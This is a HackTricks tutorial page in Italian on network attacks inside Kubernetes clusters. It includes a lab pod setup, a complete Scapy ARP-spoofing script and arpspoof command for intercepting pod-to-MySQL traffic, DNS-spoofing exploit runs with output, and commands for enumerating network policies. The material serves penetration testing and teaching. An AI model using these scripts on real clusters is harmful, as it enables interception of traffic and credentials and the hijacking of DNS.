# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Introduzione In Kubernetes, si osserva che un comportamento predefinito consente l'instaurazione di connessioni tra **tutti i container che risiedono sullo stesso nodo**. Questo si applica indipendentemente dalle distinzioni di namespace. Tale connettività si estende fino al **Layer 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **container malevolo** di eseguire un **attacco di ARP spoofing** contro altri container situati sullo stesso nodo. Durante un attacco di questo tipo, il container malevolo può ingannevolmente intercettare o modificare il traffico di rete destinato ad altri container. Gli attacchi di ARP spoofing coinvolgono l'**attaccante che invia messaggi ARP falsificati** (Address Resolution Protocol) su una rete locale. Questo porta al collegamento del **MAC address dell'attaccante con l'indirizzo IP di un computer o server legittimo sulla rete**. Dopo l'esecuzione con successo di un attacco di questo tipo, l'attaccante può intercettare, modificare o persino fermare i dati in transito. L'attacco viene eseguito sul Layer 2 del modello OSI, motivo per cui la connettività predefinita in Kubernetes a questo livello solleva preoccupazioni di sicurezza. Nello scenario verranno create 4 macchine: - ubuntu-pe: Macchina privilegiata per evadere al nodo e controllare le metriche (non necessaria per l'attacco) - **ubuntu-attack**: **Container malevolo** nel namespace predefinito - **ubuntu-victim**: Macchina **vittima** nel namespace kube-system - **mysql**: Macchina **vittima** nel namespace predefinito ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Rete di Base di Kubernetes Se desideri maggiori dettagli sugli argomenti di rete introdotti qui, vai ai riferimenti. ### ARP In generale, **la rete pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge è chiamato “**cbr0**”. (Alcuni plugin di rete installeranno il proprio bridge.) Il **cbr0 può anche gestire ARP** (Address Resolution Protocol) risoluzione. Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione utilizzando ARP. Questo fatto implica che, per impostazione predefinita, **ogni pod in esecuzione nello stesso nodo** sarà in grado di **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dallo spazio dei nomi) a livello ethernet (livello 2). > [!WARNING] > Pertanto, è possibile eseguire attacchi di **ARP Spoofing tra pod nello stesso nodo.** ### DNS Negli ambienti kubernetes troverai solitamente 1 (o più) **servizi DNS in esecuzione** solitamente nello spazio dei nomi kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` Nelle informazioni precedenti puoi vedere qualcosa di interessante, l'**IP del servizio** è **10.96.0.10** ma l'**IP del pod** che esegue il servizio è **172.17.0.2.** Se controlli l'indirizzo DNS all'interno di qualsiasi pod troverai qualcosa di simile a questo: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Tuttavia, il pod **non sa** come arrivare a quell'**indirizzo** perché il **pod range** in questo caso è 172.17.0.10/26. Pertanto, il pod invierà le **richieste DNS all'indirizzo 10.96.0.10** che sarà **tradotto** da cbr0 **in** **172.17.0.2**. > [!WARNING] > Questo significa che una **richiesta DNS** di un pod andrà **sempre** al **bridge** per **tradurre** l'**IP del servizio nell'IP dell'endpoint**, anche se il server DNS si trova nella stessa subnet del pod. > > Sapendo questo, e sapendo che **gli attacchi ARP sono possibili**, un **pod** in un nodo sarà in grado di **intercettare il traffico** tra **ogni pod** nella **subnet** e il **bridge** e **modificare** le **risposte DNS** dal server DNS (**DNS Spoofing**). > > Inoltre, se il **server DNS** si trova nello **stesso nodo dell'attaccante**, l'attaccante può **intercettare tutte le richieste DNS** di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte. ## ARP Spoofing nei pod nello stesso Nodo Il nostro obiettivo è **rubare almeno la comunicazione dall'ubuntu-victim al mysql**. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing Come già accennato, se **comprometti un pod nello stesso nodo del pod del server DNS**, puoi **MitM** con **ARPSpoofing** il **bridge e il pod DNS** e **modificare tutte le risposte DNS**. Hai un ottimo **tool** e **tutorial** per testare questo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) Nel nostro scenario, **scarica** il **tool** nel pod attaccante e crea un **file chiamato `hosts`** con i **domini** che vuoi **spoofare** come: ``` cat hosts google.com. 1.1.1.1 ``` Esegui l'attacco alla macchina ubuntu-victim: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > Se provi a creare il tuo script di spoofing DNS, se **modifichi solo la risposta DNS** questo **non** funzionerà, perché la **risposta** avrà un **src IP** l'indirizzo IP del **pod** **maligno** e **non sarà** **accettata**.\ > Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** dove la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS K8s e non l'IP del server DNS, maggiori informazioni su questo nell'introduzione). ## DNS Spoofing tramite configmap coreDNS Un utente con permessi di scrittura sulla configmap `coredns` nel namespace kube-system può modificare le risposte DNS del cluster. Controlla ulteriori informazioni su questo attacco in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} ## Abusare dei servizi di gestione kubernetes esposti Servizi come Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e il dashboard di Kubernetes sono spesso esposti sia a Internet che all'interno della rete kubernetes. Un attaccante che riesce a **trovare qualsiasi piattaforma utilizzata per gestire kubernetes e accedervi** può abusarne per ottenere accesso all'API di kubernetes e compiere azioni come creare nuovi pod, modificare quelli esistenti o persino eliminarli. ## Enumerare le politiche di rete kubernetes Ottieni le **networkpolicies** configurate: ```bash kubectl get networkpolicies --all-namespaces ``` Ottieni le politiche di rete **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` Ottieni le politiche di rete **Cillium**: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` Ottieni altre CRD relative alle politiche installate dal tuo plugin di rete o soluzione di sicurezza: ```bash kubectl get crd | grep -i policy ``` ## Cattura del Traffico Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un visualizzatore di traffico API **semplice ma potente per Kubernetes** che ti consente di **visualizzare tutta la comunicazione API** tra microservizi per aiutarti a debug e risolvere regressioni.\ Installerà agenti nei pod selezionati e raccoglierà le loro informazioni sul traffico, mostrandole in un server web. Tuttavia, avrai bisogno di elevate autorizzazioni K8s per questo (e non è molto furtivo). ## Riferimenti - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}